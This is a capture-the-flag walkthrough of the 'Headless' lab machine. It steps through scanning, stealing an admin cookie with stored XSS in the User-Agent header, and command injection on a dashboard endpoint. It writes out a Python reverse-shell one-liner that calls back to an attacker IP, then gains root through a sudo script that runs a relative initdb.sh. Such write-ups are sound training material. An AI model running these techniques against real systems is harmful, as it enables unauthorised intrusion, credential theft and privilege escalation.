| Machine name | OS | IP | Difficulty |
|---|---|---|---|
| Headless | Linux | 10.10.11.8 | Easy |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping command:
└─# ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=116 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=113 ms
- Check the running services
Let's check all running services and their versions using the nmap command:
└─# nmap -sV -sC 10.10.11.8 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.8
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Tue, 23 Jul 2024 14:15:43 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=7/23%Time=669FBB0F%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Tue,\x2023\x20Jul\x202024\x2014:15:43\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.34 seconds
-sV- to get services with their versions.-sC- to use default scripts.-Pn- to skip the ping (as we already checked it in the first step).
The output shows that there are 2 running services with opened ports:
- Port
5000- unknown service, but it looks like HTTP. - Port
22- running an OpenSSH server version 9.2p1.
The operating system of the machine is, of course, Linux (probably Debian, based on the OpenSSH version; we will verify this later).
- Check the web application on port
5000
└─# whatweb 10.10.11.8:5000
http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]
Using the whatweb tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:
Pythonversion 3.11.2 - programming language.Werkzeugversion 2.2.2 - Web Server Gateway Interface.
Going through the application, there are 2 endpoints:
http://10.10.11.8:5000/- The main page has nothing interesting; it appears to be still under development.
http://10.10.11.8:5000/support- Page with a form, let's try to add some inputs.
It appears there is some type of filter or WAF. As the message states, Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation., the browser information has been sent to the administrators for investigation. What if there is a client-side vulnerability, allowing us to send a malicious payload to the administrator? Let's try it.
| NOTE: If the administrator sees the same page as we do, the parameters from the body are not displayed, only the header. We need to inject the payload into a header. The User-Agent is a good candidate because it can be changed and does not impacts processing the request.
- Testing for client-side vulnerabilities
First, we need to start a server to listen for incoming requests:
python3 -m http.server 18000
And now, we can try sending a malicious payload:

| NOTE: We need to send malicious input in the body parameters to trigger the Hacking Attempt Detected page.
And we received a request:

So we know that there is an administrator on the other side who reviews reports, and there is a client-side vulnerability — stored XSS. We can use this to steal the cookie.
- Stealing the cookie
We need to start a server to listen for incoming requests as we did in step 4:
python3 -m http.server 18000
Send the malicious payload:
And we have obtained the cookie is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0:

But where do we go now? We need to find something that only an admin can do.
- Finding admin's features
Using feroxbuster tool, we can fuzz the path:
└─# feroxbuster -u http://10.10.11.8:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 1 --filter-status 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.8:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 1
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 93l 179w 2363c http://10.10.11.8:5000/support
200 GET 96l 259w 2799c http://10.10.11.8:5000/
500 GET 5l 37w 265c http://10.10.11.8:5000/dashboard
[####################] - 3m 30001/30001 0s found:3 errors:0
[####################] - 3m 30000/30000 194/s http://10.10.11.8:5000/
There is a new endpoint, http://10.10.11.8:5000/dashboard, which appears to be authorized only for administrators:

However, we have an administrator's cookie. So let's investigate further.
- Dashboard endpoint

There is a single endpoint that checks the health of the system with only one parameter, date. The application needs to check if it is alive and if the ports are open, so we can assume it's using the shell. Let's try OS Command Injection.
- OS Command Injection
We need to start a server to listen for incoming requests:
python3 -m http.server 18000
And send the malicious payload:
The incoming request is logged:

There is an OS Command Injection vulnerability; let's create a reverse shell.
- Reverse shell
Start the listener:
nc -lvnp 8888
I like Python, so using it, we can call our listener:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

And we got a reverse shell:

| NOTE: An excellent tool for generating reverse shell payloads is the Reverse Shell Generator.
- User flag
User flag is in /home/dvir/user.txt
Root
- Enhance the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'CTRL + Zstty raw -echo; fgexport TERM=xterm
This enhancement allows the shell to support command completion, use CTRL+C to interrupt the current process, and makes copy-pasting much more user-friendly.
- Put some useful tools on the server
linenum- LINENUM - used for local information enumeration.linpeas- LINPEAS - used for finding ways to escalate the privileges.pspy- PSPY - used for snoop on processes.
- Checking
sudo
By executing sudo -l to check what commands we can run with sudo, we get:
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Interesting, what's inside /usr/bin/syscheck? Let's find out.
- Investigating
syscheck
The entire script looks like:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
The script calls the initdb.sh script, which should be located in the directory where the command is executed. However, the script is not there. The command /usr/bin/pgrep looks for processes with an exact match (-x) for initdb.sh. If we run the command /usr/bin/pgrep -x "initdb.sh", the output is empty. Therefore, we can create an initdb.sh script, include any content we want, and syscheck will execute it as root (because the user can run /usr/bin/syscheck with sudo).
- Getting the
rootshell
We create an initdb.sh script and put the following inside:
#!/bin/bash
/bin/bash
By calling:
sudo /usr/bin/syscheck
we will spawn a new shell as the root user! The flag is located inside /root/root.txt.
Assumptions verifications
- Running OS
We assumed, based on the OpenSSH version, that the running OS is Debian. Let's verify it using the uname -a and cat /etc/os-release commands:
dvir@headless:~/app$ uname -a
Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Lin
ux
dvir@headless:~/app$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Running OS - Debian 12.